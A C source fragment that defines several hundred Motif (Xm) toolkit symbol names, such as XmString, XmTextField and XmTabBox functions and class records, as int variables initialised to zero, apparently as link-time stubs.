int _XmSelectionBoxCreateSeparator = 0;
|
||||
int _XmSelectionBoxCreateText = 0;
|
||||
int _XmSelectionBoxGeoMatrixCreate = 0;
|
||||
int _XmSelectionBoxGetApplyLabelString = 0;
|
||||
int _XmSelectionBoxGetCancelLabelString = 0;
|
||||
int XmSelectionBoxGetChild = 0;
|
||||
int _XmSelectionBoxGetHelpLabelString = 0;
|
||||
int _XmSelectionBoxGetListItemCount = 0;
|
||||
int _XmSelectionBoxGetListItems = 0;
|
||||
int _XmSelectionBoxGetListLabelString = 0;
|
||||
int _XmSelectionBoxGetListVisibleItemCount = 0;
|
||||
int _XmSelectionBoxGetOkLabelString = 0;
|
||||
int _XmSelectionBoxGetSelectionLabelString = 0;
|
||||
int _XmSelectionBoxGetTextColumns = 0;
|
||||
int _XmSelectionBoxGetTextString = 0;
|
||||
int _XmSelectionBoxNoGeoRequest = 0;
|
||||
int _XmSelectionBoxRestore = 0;
|
||||
int _XmSelectionBoxUpOrDown = 0;
|
||||
int xmSelectionBoxWidgetClass = 0;
|
||||
int _XmSEMPTY_STRING = 0;
|
||||
int _XmSendICCCallback = 0;
|
||||
int _XmSentryAlignment = 0;
|
||||
int _XmSentryBorder = 0;
|
||||
int _XmSentryCallback = 0;
|
||||
int _XmSentryClass = 0;
|
||||
int _XmSentryVerticalAlignment = 0;
|
||||
int _XmSeparatorCacheCompare = 0;
|
||||
int xmSeparatorClassRec = 0;
|
||||
int _XmSeparatorFix = 0;
|
||||
int xmSeparatorGadgetClass = 0;
|
||||
int xmSeparatorGadgetClassRec = 0;
|
||||
int xmSeparatorGCacheObjClassRec = 0;
|
||||
int xmSeparatorWidgetClass = 0;
|
||||
int _XmSetActiveTabGroup = 0;
|
||||
int _XmSetActualClass = 0;
|
||||
int XmSetColorCalculation = 0;
|
||||
int _XmSetDefaultBackgroundColorSpec = 0;
|
||||
int _XmSetDestination = 0;
|
||||
int _XmSetDragReceiverInfo = 0;
|
||||
int _XmSetEtchedSlider = 0;
|
||||
int _XmSetFocusFlag = 0;
|
||||
int _XmSetFocusResetFlag = 0;
|
||||
int XmSetFontUnit = 0;
|
||||
int XmSetFontUnits = 0;
|
||||
int _XmSetInDragMode = 0;
|
||||
int _XmSetInitialOfTabGraph = 0;
|
||||
int _XmSetInitialOfTabGroup = 0;
|
||||
int _XmSetKidGeo = 0;
|
||||
int _XmSetLastManagedMenuTime = 0;
|
||||
int XmSetMenuCursor = 0;
|
||||
int _XmSetMenuTraversal = 0;
|
||||
int _XmSetPopupMenuClick = 0;
|
||||
int XmSetProtocolHooks = 0;
|
||||
int _XmSetRect = 0;
|
||||
int _XmSetSwallowEventHandler = 0;
|
||||
int _XmSetThickness = 0;
|
||||
int _XmSetThicknessDefault0 = 0;
|
||||
int XmSetToolTipString = 0;
|
||||
int _XmSetTransientFlag = 0;
|
||||
int _XmSetValuesOnChildren = 0;
|
||||
int _XmSetXmDisplayClass = 0;
|
||||
int _XmSexportTargets = 0;
|
||||
int _XmSexposeCallback = 0;
|
||||
int _XmSextendedSelectionCallback = 0;
|
||||
int _XmSextensionType = 0;
|
||||
int _XmSFAddNavigator = 0;
|
||||
int _XmSfileListItemCount = 0;
|
||||
int _XmSfileListItems = 0;
|
||||
int _XmSfileListLabelString = 0;
|
||||
int _XmSfileSearchProc = 0;
|
||||
int _XmSfileTypeMask = 0;
|
||||
int _XmSfillOnArm = 0;
|
||||
int _XmSfillOnSelect = 0;
|
||||
int _XmSfilterLabelString = 0;
|
||||
int _XmSfocusCallback = 0;
|
||||
int _XmSfocusMovedCallback = 0;
|
||||
int _XmSfocusPolicyChanged = 0;
|
||||
int _XmSfontList = 0;
|
||||
int _XmSforegroundThreshold = 0;
|
||||
int _XmSfractionBase = 0;
|
||||
int _XmSFRemoveNavigator = 0;
|
||||
int _XmSFUpdateNavigatorsValue = 0;
|
||||
int _XmSgainPrimaryCallback = 0;
|
||||
int xmShellExtClassRec = 0;
|
||||
int xmShellExtObjectClass = 0;
|
||||
int _XmShellIsExclusive = 0;
|
||||
int _XmShelpCallback = 0;
|
||||
int _XmShelpLabelString = 0;
|
||||
int _XmShighlightColor = 0;
|
||||
int _XmShighlightOnEnter = 0;
|
||||
int _XmShighlightPixmap = 0;
|
||||
int _XmShighlightThickness = 0;
|
||||
int _XmShistoryItemCount = 0;
|
||||
int _XmShistoryItems = 0;
|
||||
int _XmShistoryMaxItems = 0;
|
||||
int _XmShistoryVisibleItemCount = 0;
|
||||
int _XmShorizontalFontUnit = 0;
|
||||
int _XmShorizontalScrollBar = 0;
|
||||
int _XmShorizontalSpacing = 0;
|
||||
int _XmShotX = 0;
|
||||
int _XmShotY = 0;
|
||||
int _XmSiccHandle = 0;
|
||||
int XmSimpleSpinBoxAddItem = 0;
|
||||
int xmSimpleSpinBoxClassRec = 0;
|
||||
int XmSimpleSpinBoxDeletePos = 0;
|
||||
int XmSimpleSpinBoxSetItem = 0;
|
||||
int xmSimpleSpinBoxWidgetClass = 0;
|
||||
int _XmSimportTargets = 0;
|
||||
int _XmSincrement = 0;
|
||||
int _XmSincremental = 0;
|
||||
int _XmSincrementCallback = 0;
|
||||
int _XmSindicatorOn = 0;
|
||||
int _XmSindicatorSize = 0;
|
||||
int _XmSindicatorType = 0;
|
||||
int _XmSinitialDelay = 0;
|
||||
int _XmSinitialFocus = 0;
|
||||
int _XmSinputCallback = 0;
|
||||
int _XmSinputCreate = 0;
|
||||
int _XmSinputMethod = 0;
|
||||
int _XmSinvalidCursorForeground = 0;
|
||||
int _XmSisAligned = 0;
|
||||
int _XmSisHomogeneous = 0;
|
||||
int _XmSitemCount = 0;
|
||||
int _XmSitems = 0;
|
||||
int _XmSkeyboardFocusPolicy = 0;
|
||||
int _XmSlabelFontList = 0;
|
||||
int _XmSlabelInsensitivePixmap = 0;
|
||||
int _XmSlabelPixmap = 0;
|
||||
int _XmSlabelString = 0;
|
||||
int _XmSlabelType = 0;
|
||||
int _XmSleep = 0;
|
||||
int _XmSleftAttachment = 0;
|
||||
int _XmSleftOffset = 0;
|
||||
int _XmSleftPosition = 0;
|
||||
int _XmSleftWidget = 0;
|
||||
int xmSlideContextClassRec = 0;
|
||||
int xmSlideContextWidgetClass = 0;
|
||||
int _XmSlightThreshold = 0;
|
||||
int _XmSlistItemCount = 0;
|
||||
int _XmSlistItems = 0;
|
||||
int _XmSlistLabelString = 0;
|
||||
int _XmSlistMarginHeight = 0;
|
||||
int _XmSlistMarginWidth = 0;
|
||||
int _XmSlistSizePolicy = 0;
|
||||
int _XmSlistSpacing = 0;
|
||||
int _XmSlistUpdated = 0;
|
||||
int _XmSlistVisibleItemCount = 0;
|
||||
int _XmSlogicalParent = 0;
|
||||
int _XmSlosePrimaryCallback = 0;
|
||||
int _XmSlosingFocusCallback = 0;
|
||||
int _XmSmainWindowMarginHeight = 0;
|
||||
int _XmSmainWindowMarginWidth = 0;
|
||||
int _XmSmapCallback = 0;
|
||||
int _XmSmappingDelay = 0;
|
||||
int _XmSmargin = 0;
|
||||
int _XmSmarginBottom = 0;
|
||||
int _XmSmarginHeight = 0;
|
||||
int _XmSmarginLeft = 0;
|
||||
int _XmSmarginRight = 0;
|
||||
int _XmSmarginTop = 0;
|
||||
int _XmSmarginWidth = 0;
|
||||
int _XmSmask = 0;
|
||||
int _XmSmaximum = 0;
|
||||
int _XmSmaxLength = 0;
|
||||
int _XmSmenuAccelerator = 0;
|
||||
int _XmSmenuBar = 0;
|
||||
int _XmSmenuCursor = 0;
|
||||
int _XmSmenuHelpWidget = 0;
|
||||
int _XmSmenuHistory = 0;
|
||||
int _XmSmenuPost = 0;
|
||||
int _XmSmessageAlignment = 0;
|
||||
int _XmSmessageProc = 0;
|
||||
int _XmSmessageString = 0;
|
||||
int _XmSmessageWindow = 0;
|
||||
int _XmSminimizeButtons = 0;
|
||||
int _XmSminimum = 0;
|
||||
int _XmSmnemonic = 0;
|
||||
int _XmSmnemonicCharSet = 0;
|
||||
int _XmSmodifyVerifyCallback = 0;
|
||||
int _XmSmodifyVerifyCallbackWcs = 0;
|
||||
int _XmSmotionVerifyCallback = 0;
|
||||
int _XmSmoveOpaque = 0;
|
||||
int _XmSmultiClick = 0;
|
||||
int _XmSmultipleSelectionCallback = 0;
|
||||
int _XmSmustMatch = 0;
|
||||
int _XmSmwmDecorations = 0;
|
||||
int _XmSmwmFunctions = 0;
|
||||
int _XmSmwmInputMode = 0;
|
||||
int _XmSmwmMenu = 0;
|
||||
int _XmSmwmMessages = 0;
|
||||
int _XmSnavigationType = 0;
|
||||
int _XmSneedsMotion = 0;
|
||||
int _XmSnoMatchCallback = 0;
|
||||
int _XmSnoMatchString = 0;
|
||||
int _XmSnoneCursorForeground = 0;
|
||||
int _XmSnoResize = 0;
|
||||
int _XmSnotifyProc = 0;
|
||||
int _XmSnumColumns = 0;
|
||||
int _XmSnumDropRectangles = 0;
|
||||
int _XmSnumDropTransfers = 0;
|
||||
int _XmSnumExportTargets = 0;
|
||||
int _XmSnumImportTargets = 0;
|
||||
int _XmSnumRectangles = 0;
|
||||
int _XmSocorro = 0;
|
||||
int _XmSoffsetX = 0;
|
||||
int _XmSoffsetY = 0;
|
||||
int _XmSokCallback = 0;
|
||||
int _XmSokLabelString = 0;
|
||||
int _XmSoperationChangedCallback = 0;
|
||||
int _XmSoperationCursorIcon = 0;
|
||||
int _XmSoptionLabel = 0;
|
||||
int _XmSoptionMnemonic = 0;
|
||||
int _XmSortResourceList = 0;
|
||||
int _XmSosfActivate = 0;
|
||||
int _XmSosfAddMode = 0;
|
||||
int _XmSosfBackSpace = 0;
|
||||
int _XmSosfBeginLine = 0;
|
||||
int _XmSosfCancel = 0;
|
||||
int _XmSosfClear = 0;
|
||||
int _XmSosfCopy = 0;
|
||||
int _XmSosfCut = 0;
|
||||
int _XmSosfDelete = 0;
|
||||
int _XmSosfDown = 0;
|
||||
int _XmSosfEndLine = 0;
|
||||
int _XmSosfHelp = 0;
|
||||
int _XmSosfInsert = 0;
|
||||
int _XmSosfLeft = 0;
|
||||
int _XmSosfMenu = 0;
|
||||
int _XmSosfMenuBar = 0;
|
||||
int _XmSosfPageDown = 0;
|
||||
int _XmSosfPageLeft = 0;
|
||||
int _XmSosfPageRight = 0;
|
||||
int _XmSosfPageUp = 0;
|
||||
int _XmSosfPaste = 0;
|
||||
int _XmSosfPrimaryPaste = 0;
|
||||
int _XmSosfQuickPaste = 0;
|
||||
int _XmSosfRight = 0;
|
||||
int _XmSosfSelect = 0;
|
||||
int _XmSosfUndo = 0;
|
||||
int _XmSosfUp = 0;
|
||||
int _XmSoutputCreate = 0;
|
||||
int _XmSpacking = 0;
|
||||
int _XmSpageDecrementCallback = 0;
|
||||
int _XmSpageIncrement = 0;
|
||||
int _XmSpageIncrementCallback = 0;
|
||||
int _XmSpaneMaximum = 0;
|
||||
int _XmSpaneMinimum = 0;
|
||||
int _XmSpattern = 0;
|
||||
int _XmSpendingDelete = 0;
|
||||
int _XmSpinB_defaultAccelerators = 0;
|
||||
int _XmSpinB_defaultTranslations = 0;
|
||||
int xmSpinBoxClassRec = 0;
|
||||
int XmSpinBoxValidatePosition = 0;
|
||||
int xmSpinBoxWidgetClass = 0;
|
||||
int _XmSpopupEnabled = 0;
|
||||
int _XmSpositionIndex = 0;
|
||||
int _XmSpostFromButton = 0;
|
||||
int _XmSpostFromCount = 0;
|
||||
int _XmSpostFromList = 0;
|
||||
int _XmSpreeditType = 0;
|
||||
int _XmSprocessingDirection = 0;
|
||||
int _XmSpromptString = 0;
|
||||
int _XmSprotocolCallback = 0;
|
||||
int _XmSpushButton = 0;
|
||||
int _XmSpushButtonEnabled = 0;
|
||||
int _XmSqualifySearchDataProc = 0;
|
||||
int _XmSradioAlwaysOne = 0;
|
||||
int _XmSradioBehavior = 0;
|
||||
int _XmSradioButton = 0;
|
||||
int _XmSrealizeCallback = 0;
|
||||
int _XmSrecomputeSize = 0;
|
||||
int _XmSrectangles = 0;
|
||||
int _XmSrefigureMode = 0;
|
||||
int _XmSrepeatDelay = 0;
|
||||
int _XmSresizable = 0;
|
||||
int _XmSresizeCallback = 0;
|
||||
int _XmSresizeHeight = 0;
|
||||
int _XmSresizePolicy = 0;
|
||||
int _XmSresizeWidth = 0;
|
||||
int _XmSrightAttachment = 0;
|
||||
int _XmSrightOffset = 0;
|
||||
int _XmSrightPosition = 0;
|
||||
int _XmSrightWidget = 0;
|
||||
int _XmSrowColumnType = 0;
|
||||
int _XmSrows = 0;
|
||||
int _XmSrubberPositioning = 0;
|
||||
int _XmSsashHeight = 0;
|
||||
int _XmSsashIndent = 0;
|
||||
int _XmSsashShadowThickness = 0;
|
||||
int _XmSsashWidth = 0;
|
||||
int _XmSscaleHeight = 0;
|
||||
int _XmSscaleMultiple = 0;
|
||||
int _XmSscaleWidth = 0;
|
||||
int _XmSscrollBarDisplayPolicy = 0;
|
||||
int _XmSscrollBarPlacement = 0;
|
||||
int _XmSscrolledWindowMarginHeight = 0;
|
||||
int _XmSscrolledWindowMarginWidth = 0;
|
||||
int _XmSscrollHorizontal = 0;
|
||||
int _XmSscrollingPolicy = 0;
|
||||
int _XmSscrollLeftSide = 0;
|
||||
int _XmSscrollTopSide = 0;
|
||||
int _XmSscrollVertical = 0;
|
||||
int _XmSselectColor = 0;
|
||||
int _XmSselectedItemCount = 0;
|
||||
int _XmSselectedItems = 0;
|
||||
int _XmSselectInsensitivePixmap = 0;
|
||||
int _XmSselectionArrayCount = 0;
|
||||
int _XmSselectionLabelString = 0;
|
||||
int _XmSselectionPolicy = 0;
|
||||
int _XmSselectPixmap = 0;
|
||||
int _XmSselectThreshold = 0;
|
||||
int _XmSseparator = 0;
|
||||
int _XmSseparatorOn = 0;
|
||||
int _XmSseparatorType = 0;
|
||||
int _XmSset = 0;
|
||||
int _XmSshadow = 0;
|
||||
int _XmSshadowThickness = 0;
|
||||
int _XmSshadowType = 0;
|
||||
int _XmSshellUnitType = 0;
|
||||
int _XmSshowArrows = 0;
|
||||
int _XmSshowAsDefault = 0;
|
||||
int _XmSshowSeparator = 0;
|
||||
int _XmSshowValue = 0;
|
||||
int _XmSsimpleCallback = 0;
|
||||
int _XmSsingleSelectionCallback = 0;
|
||||
int _XmSsingleSeparator = 0;
|
||||
int _XmSsizePolicy = 0;
|
||||
int _XmSskipAdjust = 0;
|
||||
int _XmSsliderSize = 0;
|
||||
int _XmSsource = 0;
|
||||
int _XmSsourceCursorIcon = 0;
|
||||
int _XmSsourceIsExternal = 0;
|
||||
int _XmSsourcePixmapIcon = 0;
|
||||
int _XmSsourceWidget = 0;
|
||||
int _XmSsourceWindow = 0;
|
||||
int _XmSspacing = 0;
|
||||
int _XmSstartTime = 0;
|
||||
int _XmSstateCursorIcon = 0;
|
||||
int _XmSstringDirection = 0;
|
||||
int _XmSsubMenuId = 0;
|
||||
int _XmSsymbolPixmap = 0;
|
||||
int _XmStackFree = 0;
|
||||
int _XmStackInit = 0;
|
||||
int _XmStackPop = 0;
|
||||
int _XmStackPush = 0;
|
||||
int xm_std_constraint_filter = 0;
|
||||
int xm_std_filter = 0;
|
||||
int _XmStearOffMenuActivateCallback = 0;
|
||||
int _XmStearOffMenuDeactivateCallback = 0;
|
||||
int _XmStearOffModel = 0;
|
||||
int _XmStextAccelerators = 0;
|
||||
int _XmStextColumns = 0;
|
||||
int _XmStextFontList = 0;
|
||||
int _XmStextString = 0;
|
||||
int _XmStextTranslations = 0;
|
||||
int _XmStextValue = 0;
|
||||
int _XmStitleString = 0;
|
||||
int _XmStoBottomCallback = 0;
|
||||
int _XmStopAttachment = 0;
|
||||
int _XmStopCharacter = 0;
|
||||
int _XmStopItemPosition = 0;
|
||||
int _XmStopLevelEnterCallback = 0;
|
||||
int _XmStopLevelLeaveCallback = 0;
|
||||
int _XmStopOffset = 0;
|
||||
int _XmStoPositionCallback = 0;
|
||||
int _XmStopPosition = 0;
|
||||
int _XmStopShadowColor = 0;
|
||||
int _XmStopShadowPixmap = 0;
|
||||
int _XmStopWidget = 0;
|
||||
int _XmStoTopCallback = 0;
|
||||
int _XmStransferProc = 0;
|
||||
int _XmStransferStatus = 0;
|
||||
int _XmStraversalCallback = 0;
|
||||
int _XmStraversalOn = 0;
|
||||
int _XmStraversalType = 0;
|
||||
int _XmStraverseObscuredCallback = 0;
|
||||
int _XmStreeUpdateProc = 0;
|
||||
int _XmStringBaseline = 0;
|
||||
int XmStringBaseline = 0;
|
||||
int _XmStringByteCompare = 0;
|
||||
int XmStringByteCompare = 0;
|
||||
int XmStringByteStreamLength = 0;
|
||||
int _XmStringCacheFree = 0;
|
||||
int _XmStringCacheGet = 0;
|
||||
int _XmStringCacheTag = 0;
|
||||
int _XmStringCharacterCount = 0;
|
||||
int XmStringCompare = 0;
|
||||
int XmStringComponentCreate = 0;
|
||||
int XmStringConcat = 0;
|
||||
int XmStringConcatAndFree = 0;
|
||||
int _XmStringContextCopy = 0;
|
||||
int _XmStringContextFree = 0;
|
||||
int _XmStringContextReInit = 0;
|
||||
int _XmStringCopy = 0;
|
||||
int XmStringCopy = 0;
|
||||
int _XmStringCreate = 0;
|
||||
int XmStringCreate = 0;
|
||||
int _XmStringCreateExternal = 0;
|
||||
int XmStringCreateFontList = 0;
|
||||
int XmStringCreateFontList_r = 0;
|
||||
int XmStringCreateLocalized = 0;
|
||||
int XmStringCreateLtoR = 0;
|
||||
int XmStringCreateSimple = 0;
|
||||
int XmStringDirectionCreate = 0;
|
||||
int XmStringDirectionToDirection = 0;
|
||||
int _XmStringDraw = 0;
|
||||
int XmStringDraw = 0;
|
||||
int _XmStringDrawImage = 0;
|
||||
int XmStringDrawImage = 0;
|
||||
int _XmStringDrawLining = 0;
|
||||
int _XmStringDrawMnemonic = 0;
|
||||
int _XmStringDrawSegment = 0;
|
||||
int _XmStringDrawUnderline = 0;
|
||||
int XmStringDrawUnderline = 0;
|
||||
int _XmStringEmpty = 0;
|
||||
int XmStringEmpty = 0;
|
||||
int _XmStringEntryCopy = 0;
|
||||
int _XmStringEntryFree = 0;
|
||||
int _XmStringExtent = 0;
|
||||
int XmStringExtent = 0;
|
||||
int _XmStringFree = 0;
|
||||
int XmStringFree = 0;
|
||||
int _XmStringFreeContext = 0;
|
||||
int XmStringFreeContext = 0;
|
||||
int XmStringGenerate = 0;
|
||||
int _XmStringGetBaselines = 0;
|
||||
int _XmStringGetCurrentCharset = 0;
|
||||
int XmStringGetLtoR = 0;
|
||||
int XmStringGetNextComponent = 0;
|
||||
int _XmStringGetNextSegment = 0;
|
||||
int XmStringGetNextSegment = 0;
|
||||
int _XmStringGetNextTabWidth = 0;
|
||||
int XmStringGetNextTriple = 0;
|
||||
int _XmStringGetSegment = 0;
|
||||
int _XmStringGetTextConcat = 0;
|
||||
int _XmStringHasSubstring = 0;
|
||||
int XmStringHasSubstring = 0;
|
||||
int _XmStringHeight = 0;
|
||||
int XmStringHeight = 0;
|
||||
int _XmStringIndexCacheTag = 0;
|
||||
int _XmStringIndexGetTag = 0;
|
||||
int _XmStringInitContext = 0;
|
||||
int XmStringInitContext = 0;
|
||||
int _XmStringIsCurrentCharset = 0;
|
||||
int XmStringIsVoid = 0;
|
||||
int _XmStringIsXmString = 0;
|
||||
int _XmStringLayout = 0;
|
||||
int XmStringLength = 0;
|
||||
int _XmStringLineCount = 0;
|
||||
int XmStringLineCount = 0;
|
||||
int XmStringLtoRCreate = 0;
|
||||
int XmStringNConcat = 0;
|
||||
int XmStringNCopy = 0;
|
||||
int _XmStringNCreate = 0;
|
||||
int _XmStringOptToNonOpt = 0;
|
||||
int XmStringParseText = 0;
|
||||
int XmStringPeekNextComponent = 0;
|
||||
int XmStringPeekNextTriple = 0;
|
||||
int XmStringPutRendition = 0;
|
||||
int _XmStringRender = 0;
|
||||
int _XmStrings = 0;
|
||||
int _XmStrings22 = 0;
|
||||
int _XmStrings23 = 0;
|
||||
int _XmStringsAreEqual = 0;
|
||||
int XmStringSegmentCreate = 0;
|
||||
int _XmStringSegmentExtents = 0;
|
||||
int _XmStringSegmentNew = 0;
|
||||
int XmStringSeparatorCreate = 0;
|
||||
int _XmStringsI = 0;
|
||||
int _XmStringSingleSegment = 0;
|
||||
int _XmStringSourceCreate = 0;
|
||||
int _XmStringSourceDestroy = 0;
|
||||
int _XmStringSourceFindString = 0;
|
||||
int _XmStringSourceGetEditable = 0;
|
||||
int _XmStringSourceGetMaxLength = 0;
|
||||
int _XmStringSourceGetPending = 0;
|
||||
int _XmStringSourceGetString = 0;
|
||||
int _XmStringSourceGetValue = 0;
|
||||
int _XmStringSourceHasSelection = 0;
|
||||
int _XmStringSourceSetEditable = 0;
|
||||
int _XmStringSourceSetGappedBuffer = 0;
|
||||
int _XmStringSourceSetMaxLength = 0;
|
||||
int _XmStringSourceSetPending = 0;
|
||||
int _XmStringSourceSetValue = 0;
|
||||
int XmStringTableParseStringArray = 0;
|
||||
int XmStringTableProposeTablist = 0;
|
||||
int XmStringTableToXmString = 0;
|
||||
int XmStringTableUnparse = 0;
|
||||
int XmStringToXmStringTable = 0;
|
||||
int _XmStringTruncateASN1 = 0;
|
||||
int _XmStringUngenerate = 0;
|
||||
int XmStringUnparse = 0;
|
||||
int _XmStringUpdate = 0;
|
||||
int _XmStringUpdateWMShellTitle = 0;
|
||||
int _XmStringWidth = 0;
|
||||
int XmStringWidth = 0;
|
||||
int _XmStroughColor = 0;
|
||||
int _XmSunitType = 0;
|
||||
int _XmSunmapCallback = 0;
|
||||
int _XmSunpostBehavior = 0;
|
||||
int _XmSunselectPixmap = 0;
|
||||
int _XmSupdateSliderSize = 0;
|
||||
int _XmSuseAsyncGeometry = 0;
|
||||
int _XmSuserData = 0;
|
||||
int _XmSvalidCursorForeground = 0;
|
||||
int _XmSvalueChangedCallback = 0;
|
||||
int _XmSvalueWcs = 0;
|
||||
int _XmSverifyBell = 0;
|
||||
int _XmSverticalFontUnit = 0;
|
||||
int _XmSverticalScrollBar = 0;
|
||||
int _XmSverticalSpacing = 0;
|
||||
int _XmSvisibleItemCount = 0;
|
||||
int _XmSvisibleWhenOff = 0;
|
||||
int _XmSvisualPolicy = 0;
|
||||
int _XmSWGetClipArea = 0;
|
||||
int _XmSwhichButton = 0;
|
||||
int _XmSWNotifyGeoChange = 0;
|
||||
int _XmSwordWrap = 0;
|
||||
int _XmSworkWindow = 0;
|
||||
int _XmSyncDropSiteTree = 0;
|
||||
int XmTabAttributesFree = 0;
|
||||
int XmTabbedStackListAppend = 0;
|
||||
int _XmTabbedStackListArray = 0;
|
||||
int XmTabbedStackListCompare = 0;
|
||||
int XmTabbedStackListCopy = 0;
|
||||
int _XmTabbedStackListCount = 0;
|
||||
int XmTabbedStackListCreate = 0;
|
||||
int XmTabbedStackListFind = 0;
|
||||
int XmTabbedStackListFree = 0;
|
||||
int _XmTabbedStackListGet = 0;
|
||||
int XmTabbedStackListInsert = 0;
|
||||
int XmTabbedStackListModify = 0;
|
||||
int XmTabbedStackListQuery = 0;
|
||||
int XmTabbedStackListRemove = 0;
|
||||
int XmTabbedStackListSimpleAppend = 0;
|
||||
int XmTabbedStackListSimpleInsert = 0;
|
||||
int XmTabbedStackListSimpleModify = 0;
|
||||
int XmTabbedStackListSimpleQuery = 0;
|
||||
int XmTabbedStackListSimpleRemove = 0;
|
||||
int _XmTabBoxCanvas = 0;
|
||||
int xmTabBoxClassRec = 0;
|
||||
int XmTabBoxGetIndex = 0;
|
||||
int _XmTabBoxGetMaxTabHeight = 0;
|
||||
int _XmTabBoxGetMaxTabWidth = 0;
|
||||
int XmTabBoxGetNumColumns = 0;
|
||||
int XmTabBoxGetNumRows = 0;
|
||||
int _XmTabBoxGetNumRowsColumns = 0;
|
||||
int XmTabBoxGetNumTabs = 0;
|
||||
int _XmTabBoxGetTabHeight = 0;
|
||||
int XmTabBoxGetTabRow = 0;
|
||||
int _XmTabBoxGetTabWidth = 0;
|
||||
int _XmTabBoxSelectTab = 0;
|
||||
int _XmTabBoxStackedGeometry = 0;
|
||||
int xmTabBoxWidgetClass = 0;
|
||||
int XmTabBoxXYToIndex = 0;
|
||||
int xmTabCanvasClassRec = 0;
|
||||
int xmTabCanvasWidgetClass = 0;
|
||||
int _XmTabCopy = 0;
|
||||
int XmTabCreate = 0;
|
||||
int XmTabFree = 0;
|
||||
int XmTabGetValues = 0;
|
||||
int _XmTabListAdd = 0;
|
||||
int XmTabListCopy = 0;
|
||||
int _XmTabListDelete = 0;
|
||||
int XmTabListFree = 0;
|
||||
int _XmTabListGetPosition = 0;
|
||||
int XmTabListGetTab = 0;
|
||||
int XmTabListInsertTabs = 0;
|
||||
int XmTabListRemoveTabs = 0;
|
||||
int XmTabListReplacePositions = 0;
|
||||
int XmTabListTabCount = 0;
|
||||
int XmTabSetValue = 0;
|
||||
int xmTabStackClassRec = 0;
|
||||
int XmTabStackGetSelectedTab = 0;
|
||||
int XmTabStackIndexToWidget = 0;
|
||||
int XmTabStackSelectTab = 0;
|
||||
int xmTabStackWidgetClass = 0;
|
||||
int XmTargetsAreCompatible = 0;
|
||||
int _XmTargetsToIndex = 0;
|
||||
int _XmTearOffB_overrideTranslations = 0;
|
||||
int _XmTearOffBPrimClassExtRec = 0;
|
||||
int _XmTearOffBtnDownEventHandler = 0;
|
||||
int _XmTearOffBtnUpEventHandler = 0;
|
||||
int xmTearOffButtonClassRec = 0;
|
||||
int xmTearOffButtonWidgetClass = 0;
|
||||
int _XmTearOffInitiate = 0;
|
||||
int _XmTestTraversability = 0;
|
||||
int _XmTextAdjustGC = 0;
|
||||
int _XmTextBytesToCharacters = 0;
|
||||
int _XmTextChangeBlinkBehavior = 0;
|
||||
int _XmTextChangeHOffset = 0;
|
||||
int _XmTextChangeVOffset = 0;
|
||||
int _XmTextCharactersToBytes = 0;
|
||||
int xmTextClassRec = 0;
|
||||
int _XmTextClearDestination = 0;
|
||||
int XmTextClearSelection = 0;
|
||||
int _XmTextConvert = 0;
|
||||
int XmTextCopy = 0;
|
||||
int XmTextCopyLink = 0;
|
||||
int _XmTextCountCharacters = 0;
|
||||
int XmTextCut = 0;
|
||||
int _XmTextDestinationVisible = 0;
|
||||
int _XmTextDisableRedisplay = 0;
|
||||
int XmTextDisableRedisplay = 0;
|
||||
int _XmTextDrawDestination = 0;
|
||||
int _XmTextEnableRedisplay = 0;
|
||||
int XmTextEnableRedisplay = 0;
|
||||
int _XmTextEventBindings1 = 0;
|
||||
int _XmTextEventBindings2 = 0;
|
||||
int _XmTextEventBindings3 = 0;
|
||||
int _XmTextF_EventBindings1 = 0;
|
||||
int _XmTextF_EventBindings2 = 0;
|
||||
int _XmTextF_EventBindings3 = 0;
|
||||
int xmTextFieldClassRec = 0;
|
||||
int XmTextFieldClearSelection = 0;
|
||||
int _XmTextFieldConvert = 0;
|
||||
int XmTextFieldCopy = 0;
|
||||
int XmTextFieldCopyLink = 0;
|
||||
int _XmTextFieldCountBytes = 0;
|
||||
int _XmTextFieldCountCharacters = 0;
|
||||
int XmTextFieldCut = 0;
|
||||
int _XmTextFieldDeselectSelection = 0;
|
||||
int _XmTextFieldDestinationVisible = 0;
|
||||
int _XmTextFieldDrawInsertionPoint = 0;
|
||||
int XmTextFieldGetAddMode = 0;
|
||||
int XmTextFieldGetBaseline = 0;
|
||||
int XmTextFieldGetBaseLine = 0;
|
||||
int XmTextFieldGetCursorPosition = 0;
|
||||
int _XmTextFieldGetDropReciever = 0;
|
||||
int XmTextFieldGetEditable = 0;
|
||||
int XmTextFieldGetInsertionPosition = 0;
|
||||
int XmTextFieldGetLastPosition = 0;
|
||||
int XmTextFieldGetMaxLength = 0;
|
||||
int XmTextFieldGetSelection = 0;
|
||||
int XmTextFieldGetSelectionPosition = 0;
|
||||
int XmTextFieldGetSelectionWcs = 0;
|
||||
int XmTextFieldGetString = 0;
|
||||
int XmTextFieldGetStringWcs = 0;
|
||||
int XmTextFieldGetSubstring = 0;
|
||||
int XmTextFieldGetSubstringWcs = 0;
|
||||
int _XmTextFieldHandleSecondaryFinished = 0;
|
||||
int XmTextFieldInsert = 0;
|
||||
int XmTextFieldInsertWcs = 0;
|
||||
int _XmTextFieldInstallTransferTrait = 0;
|
||||
int _XmTextFieldLoseSelection = 0;
|
||||
int XmTextFieldPaste = 0;
|
||||
int XmTextFieldPasteLink = 0;
|
||||
int XmTextFieldPosToXY = 0;
|
||||
int XmTextFieldRemove = 0;
|
||||
int XmTextFieldReplace = 0;
|
||||
int _XmTextFieldReplaceText = 0;
|
||||
int XmTextFieldReplaceWcs = 0;
|
||||
int XmTextFieldSetAddMode = 0;
|
||||
int _XmTextFieldSetClipRect = 0;
|
||||
int _XmTextFieldSetCursorPosition = 0;
|
||||
int XmTextFieldSetCursorPosition = 0;
|
||||
int _XmTextFieldSetDestination = 0;
|
||||
int XmTextFieldSetEditable = 0;
|
||||
int XmTextFieldSetHighlight = 0;
|
||||
int XmTextFieldSetInsertionPosition = 0;
|
||||
int XmTextFieldSetMaxLength = 0;
|
||||
int _XmTextFieldSetSel2 = 0;
|
||||
int XmTextFieldSetSelection = 0;
|
||||
int XmTextFieldSetString = 0;
|
||||
int XmTextFieldSetStringWcs = 0;
|
||||
int XmTextFieldShowPosition = 0;
|
||||
int _XmTextFieldStartSelection = 0;
|
||||
int xmTextFieldWidgetClass = 0;
|
||||
int XmTextFieldXYToPos = 0;
|
||||
int _XmTextFindLineEnd = 0;
|
||||
int _XmTextFindScroll = 0;
|
||||
int XmTextFindString = 0;
|
||||
int _XmTextFindStringBackwards = 0;
|
||||
int _XmTextFindStringForwards = 0;
|
||||
int XmTextFindStringWcs = 0;
|
||||
int _XmTextFPrimClassExtRec = 0;
|
||||
int _XmTextFreeContextData = 0;
|
||||
